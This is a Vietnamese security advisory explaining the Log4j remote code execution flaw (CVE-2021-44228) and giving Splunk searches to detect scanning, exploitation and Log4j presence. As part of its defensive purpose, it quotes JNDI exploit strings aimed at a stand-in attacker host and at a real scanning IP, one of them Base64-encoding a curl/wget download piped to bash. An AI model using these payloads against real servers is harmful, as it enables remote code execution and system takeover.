Vào ngày 9/12, một lỗ hổng 0-day được đánh giá với mức độ nghiêm trọng tương đương với Wannacry đã được công bố, lỗ hổng này cho phép kẻ tấn công thực thi các đoạn code tùy ý trên máy nạn nhân. Hiện nay trên thế giới, rất nhiều các sản phẩm của các tổ chức đang bị ảnh hưởng bởi lỗ hổng có CVSS 10.0, song song với đó là rất nhiều các bài viết mô tả lỗ hổng đến từ các cộng đồng an toàn trong thời gian qua. Tại bài viết này,  VNCS Global SOC sẽ đưa ra một số cách thức phát hiện và cách phòng chống sớm các cuộc tấn công liên quan đến lỗ này

Giới thiệu về lỗ hổng RCE Log4j

RCE Log4j là một lỗ hổng cực kỳ nghiêm trọng có mã định danh CVE-2021-44228 có trong Apache Log4j(là một thư viện mã nguồn mở của Apache), gây ra mối đe dọa lớn cho hàng ngàn các ứng dụng, dịch vụ và hệ thống.

Các bản PoC cách thức khai thác lỗ hổng Log4j có thể được thực hiện thông qua các bước sau:

1, Dữ liệu được gửi từ Attacker lên Server (Thông qua bất kỳ giao thức nào)

2, Server ghi lại dữ liệu trong request, bao gồm cả payload độc hại:

${jndi:ldap://attaker[.]com/a}(trong đó attacker[.]com là Server của Attacker)

3, Server sẽ gửi một request tới attacker.com thông qua Java Naming and Directory Interface (JNDI)

4, Response trả về sẽ bao gồm đường dẫn đến một tệp Java class sẽ được chèn vào tiến trình trên Server (VD: http://second-stage[.]attacker[.]com/Exploit[.]class)

5, Các payload được truyền vào trong tệp Java class sau đó sẽ được kích hoạt cho phép Attacker thực thi mã tùy ý trên Server của nạn nhân.

Apache ngay sau đó đã phát hành một bản vá khẩn cấp và khuyến cáo các tổ chức cần update Log4j lên phiên bản 2.15.0-rc2 càng sớm càng tốt hoặc sử dụng các biện pháp giảm thiểu thiệt hại phù hợp nếu việc update là không khả thi.

Một số điều cần biết về Log4j

Log4j là một thư viện với một số lượng khổng lồ các framework, ứng dụng và công cụ. Theo Ars Technica, Log4j đang được sử dụng trong một số các framework như Apache Struts 2, Apache Solr, Apache Druid, Apache Flink. Có rất nhiều trường hợp người quản trị hệ thống không biết rằng Log4j tồn tại trong hệ thống của mình. Rất nhiều tổ chức đã xác nhận sản phẩm của họ có tồn tại lỗ hổng này, trong đó có một số tập đoàn, công ty về công nghệ lớn như Apple, Steam, Tesla, Apache,…

Nguyên nhân khiến lỗ hổng RCE Log4j có độ nguy hiểm cao là do chỉ cần rất ít điều kiện thỏa mãn để có thể khai thác thành công:

  • Phiên bản Log4j từ 2.0-beta9 đến 2.15.0-rc1.
  • Attacker phải gửi được payload độc hại đến hệ thống đích.
  • Request có chứa payload độc hại cần phải được ghi log với Log4j.

Săn tìm lỗ hổng RCE Log4j với Splunk

Hiện nay, trên khắp thế giới có rất nhiều các hoạt động dò quét lỗ. Do đó, một lượng lớn các IP mà bạn có thể thêm vào danh sách theo dõi, nhưng chúng ta đều biết rằng kẻ tấn công sẽ cố che giấu danh tính của mình thông qua mạng Botnet hoặc TOR. Vì vậy, đây không phải là một phương pháp ngăn chặn tốt nhất về lâu dài.

Mặt khác, các hoạt động dò quét hiện nay thường sử dụng trường user agent để thực hiện (theo GreayNoise). Sau đây là một payload điển hình cho việc dò quét CVE-2021-44228:

${jndi:ldap://45.155[.]205.233:12344/Basic/Command/Base64/U28gTG9uZywgYW5kIFRoYW5rcyBmb3IgQWxsIHRoZSBGaXNo}

Điều này có nghĩa có thể tập trung vào một số các dấu hiệu cố định để phát hiện tấn công. Ở đây, sẽ tập trung vào chuỗi ${jndi:ldap:// mà không cần quan tâm đến đoạn code base64 đằng sau. Ngoài ra, kẻ tấn công cũng có thể sử dụng ldaps, rmi, dns thay thế cho ldap.

Với Splunk có thể sử dụng một số các câu lệnh Search để phát hiện hoạt động liên quan đến CVE-2021-44228 này.

Điều quan trọng cần lưu ý ở đây là các hành vi dò quét được báo cáo gần đây sẽ luôn chứa chuỗi ${jndi trong request gửi đến Server. Có thể xác định được các user agent mà chứa payload với lệnh search sau:

index=your_index  sourcetype=*access* “*${jndi*”

| stats sparkline values(useragent) count by src | sort – count

Trong trường hợp chuỗi ${jndi nằm ở một vị trí bất kỳ trong request, có thể thử với lệnh search sau:

index=* “*${jndi*}*” (Hệ thống có thể trả về nhiều dữ liệu “rác” với ký tự *)

Nhưng việc phát hiện ra các hành vi tấn công dò quét như trên không có nghĩa là Server đã bị khai thác. Dù vậy, điều đó vẫn xác nhận rằng có một ai đó đang cố gắng tìm cách xâm nhập vào hệ thống. Vì thế, cần phải kiểm tra thêm các hoạt động của hệ thống để xem kẻ tấn công đã khai thác thành công lỗ hổng này hay chưa.

Để thực sự xác định xem kẻ tấn công đã khai thác thành công, cần lưu ý đến chuỗi được mã hóa Base64 phía sau. Ở đây có thể sử dụng công cụ CyberChef dành cho Splunk để giải mã tất cả các mã hóa Base64 mà thỏa mãn điều kiện của câu lệnh search. Câu lệnh search được sử dụng:

| makeresults

|eval test=”${jndi:ldap://45.155[.]205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xMDQuMjE0LjEwMy43ODo4MCB8fCB3Z2V0IC1xIC1PLSA0NS4xNTUuMjA1LjIzMzo1ODc0LzEwNC4yMTQuMTAzLjc4OjgwKSB8YmFzaA}”

| rex field=test “\/Base64\/(?P<string>[^}]*)”

| table string

| cyberchef infield=string outfield=result operation=FromBase64

Vậy làm thế nào để xác định hệ thống có Log4j hay không?

Log4j là một thư viện phổ biến và được sử dụng rất rộng rãi. Để có thể hiểu sâu hơn về lỗ hổng RCE này, có thể nhìn vào hoạt động của Log4j trong hệ thống. Có nhiều cách khác nhau để tìm kiếm dấu vết của Log4j, trong trường hợp này sẽ sử dụng Splunk để thực hiện.

Trong Splunk, datamodel Endpoint đã xử lý và đưa thông tin về các tiến trình vào các trường tường ứng (process, parent_process,…). Chúng ta sẽ sử dụng datamodel này để xác định sự tồn tại của Log4j với lệnh search như sau:

| tstats summariesonly=t values(Processes.parent_process) AS parent_process,values(Processes.process) AS process,latest(_time) AS latest,earliest(_time) AS earliest from datamodel=Endpoint.Processes where (Processes.parent_process=”*log4j*” OR Processes.process=”*log4j*”) by host

| eval _time=latest

| reltime

| fields – _time

| convert ctime(latest), ctime(earliest) | table host parent_process process reltime latest earliest

Với lệnh search trên, có thể nhanh chóng xác định được các host đang thực thi các tiến trình có chứa chuỗi “log4j” bất kỳ có trong tên của tiến trình.

Nếu không có datamodel Endpoint, việc tìm kiếm có thể sẽ khó và chậm hơn rất nhiều. Tuy vậy còn nhiều các giải pháp khác có chức năng lưu trữ nhật ký về các tiến trình. Ở đây, VNCS Global khuyến cáo bạn sử dụng Microsoft Sysmon – đây là một bộ công cụ sử dụng riêng cho Windows nhưng gần đây đã ra mắt phiên bản cho Linux.

Dưới đây là một lệnh search có thể sử dụng tìm tất cả các tiến trình chứa chuỗi “log4j” trong tên với Log Sysmon (cho cả Windows và Linux):

index=yourindex (source=”XmlWinEventLog:Microsoft-Windows-Sysmon/Operational” OR source=”Journald:Microsoft-Windows-Sysmon/Operational”) EventCode=1 (CommandLine=*log4j* OR ParentCommandLine=*log4j*)

| table _time,host,CommandLine,ParentCommandLine

Một số kỹ thuật khác cũng có thể sử dụng để phát hiện Log4j trong hệ thống của như File Createtion Logs, EventCode 11 tronng Sysmon,… Các sự kiện này có trong datamodel Endpoint.Filesystem và sử dụng một số mẹo với tstats, có thể tương quan sự kiện file creation với các tiến trình đã thực hiện nó. Lệnh search sau đây sẽ hỗ trợ Hunting trong hệ thống với ý tưởng ở trên (Lưu ý: Lệnh tstats thứ 2 có thể trả về nhiều dữ liệu nếu thực hiện trong hệ thống lớn):

| tstats summariesonly=t prestats=t count,values(Filesystem.file_path) AS filepath,values(Filesystem.file_name) latest(_time) AS latest,earliest(_time) AS earliest from datamodel=Endpoint.Filesystem where (Filesystem.file_path=”*log4j*” OR Filesystem.file_name=”*log4j*”) by Filesystem.process_guid

| tstats summariesonly=t prestats=t append=t count,values(Processes.process) as process,values(Processes.process_id) values(host) latest(_time) AS latest,earliest(_time) AS earliest from datamodel=Endpoint.Processes by Processes.process_guid

| eval GUID = coalesce(‘Processes.process_guid’,’Filesystem.process_guid’)

| eval _time=coalesce(‘Filesystem.latest’,’Processess.latest’)

| convert ctime(_time)

| stats values(Processes.process) as process, values(Processes.process_id) as process_id values(host) as host, values(Filesystem.file_path) as path ,values(Filesystem.file_name) as file_name latest(_time) as latest_time by GUID

| convert ctime(latest_time)

| search process=* path=* file_name=*

| fields – GUID

Tham khảo thêm tại:

https://www.splunk.com/en_us/blog/security/log-jammin-log4j-2-rce.html

https://unit42.paloaltonetworks.com/apache-log4j-vulnerability-cve-2021-44228/

https://www.lunasec.io/docs/blog/log4j-zero-day/

https://www.huntress.com/blog/rapid-response-critical-rce-vulnerability-is-affecting-java

https://blog.checkpoint.com/2021/12/11/protecting-against-cve-2021-44228-apache-log4j2-versions-2-14-1/